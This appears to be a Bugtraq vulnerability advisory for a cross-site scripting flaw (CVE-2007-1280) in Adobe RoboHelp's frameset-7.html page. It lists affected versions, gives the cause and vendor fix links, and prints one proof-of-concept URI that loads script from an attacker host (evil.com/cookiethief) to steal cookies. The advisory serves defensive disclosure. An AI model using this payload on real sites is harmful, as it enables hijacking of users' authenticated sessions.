Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability

Bugtraq ID:	23878
Class:	Input Validation Error
CVE:	CVE-2007-1280
Remote:	Yes
Local:	No
Published:	May 08 2007 12:00AM
Updated:	May 14 2007 05:18PM
Credit:	Michael Domberg of Devtarget.org is credited with the discovery of this vulnerability.
Vulnerable:	Adobe RoboHelp X5 0 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home Adobe RoboHelp Server 6 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home - Microsoft Windows XP Home Adobe RoboHelp 6 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home
Not Vulnerable:

Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability

RoboHelp is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof-of-concept URI is available:

http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief

Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability

Solution:
The vendor has released fixes to address this issue; please see the references for details.


Adobe RoboHelp X5 0

• Adobe webhelp.zip
  http://download.macromedia.com/pub/security/bulletins/apsb07-10/webhel p.zip

Adobe RoboHelp Server 6

• Adobe webhelp.zip
  http://download.macromedia.com/pub/security/bulletins/apsb07-10/webhel p.zip

Adobe RoboHelp 6

• Adobe webhelp.zip
  http://download.macromedia.com/pub/security/bulletins/apsb07-10/webhel p.zip

Adobe RoboHelp Frameset-7.HTML Cross-Site Scripting Vulnerability

References:

• Robohelp Web Site (Adobe)
  
• Cross-Site Scripting in Adobe RoboHelp 6, Server 6 and X5 ([email protected])